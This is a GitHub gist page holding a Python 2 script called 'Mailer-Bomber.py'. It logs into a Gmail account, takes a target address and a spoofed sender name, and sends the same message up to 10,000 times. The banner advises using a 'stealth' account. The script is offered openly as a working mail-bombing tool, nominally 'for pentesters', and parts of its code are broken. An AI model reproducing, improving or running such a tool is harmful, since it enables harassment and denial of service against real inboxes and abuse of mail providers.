Skip to content

Instantly share code, notes, and snippets.

@vck
Last active August 29, 2015 14:02
Show Gist options
  • Select an option

  • Save vck/209ab68edaa8798490fe to your computer and use it in GitHub Desktop.

Select an option

Save vck/209ab68edaa8798490fe to your computer and use it in GitHub Desktop.
#!/usr/bin/python
#Mailer-Bomber.py
#Creator : Kashiki Draco
#Supported By : Bobby Alvin
#For All Pentester
#Use it at your own risk !!!
#timer added
import smtplib
import getpass
import sys
import email
from email.MIMEMultipart import MIMEMultipart
from email.Utils import COMMASPACE
from email.MIMEBase import MIMEBase
from email.parser import Parser
from email.MIMEImage import MIMEImage
from email.MIMEText import MIMEText
from datetime import datetime
banner = '''
###################################
#Welcome to Mr Kashiki Mail Bomber#
###################################
Mail Bomber
+++#++++++++++
WARNING !!!!
Use your GMail Stealth Account
or take it with your own risk..
'''
def main():
print banner
user = raw_input('[+] GMail Account > ')
passwd = raw_input('[+] GMail Password > ')
smtp_host = 'smtp.gmail.com'
smtp_port = 587
try:
server = smtplib.SMTP()
server.connect(smtp_host,smtp_port)
server.ehlo()
server.starttls()
print '[+] connected to ' ,smtp_host + ' on port ' ,smtp_port
except Exception as e:
print '[-] ' ,e
sys.exit()
server.login(user,passwd)
to = raw_input('[+] Target mail address > ')
body = raw_input('[?] Body > ')
anon = raw_input('[+] Send mail by name of > ')
sb = raw_input('[?] Subject > ')
msg = email.MIMEMultipart.MIMEMultipart()
msg['From']= user
msg['To']= email.Utils.COMMASPACE.join(to)
msg['Subject']=sb
msg.attach(MIMEText(raw_input('[+] Message :')))
w1 = datetime.now()
for i in range(1,10000):
try:
server.sendmail(user,to,msg.as_string())
print '[+] ',i ,' e-mail(s) sent to ' + str(to)
except Exception as err:
w2 = datetime.now()
print '[-] Unable to sent at ',w2-w1
print '[-] Reason > ' + str(err)
tanya = raw_input('[?] Do you want to quit ??? Y/n > ')
if tanya == 'Y' or tanya == 'y':
print '[-] Terminating program...'
sys.exit()
else:
return main()
if __name__ == '__main__':
return main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment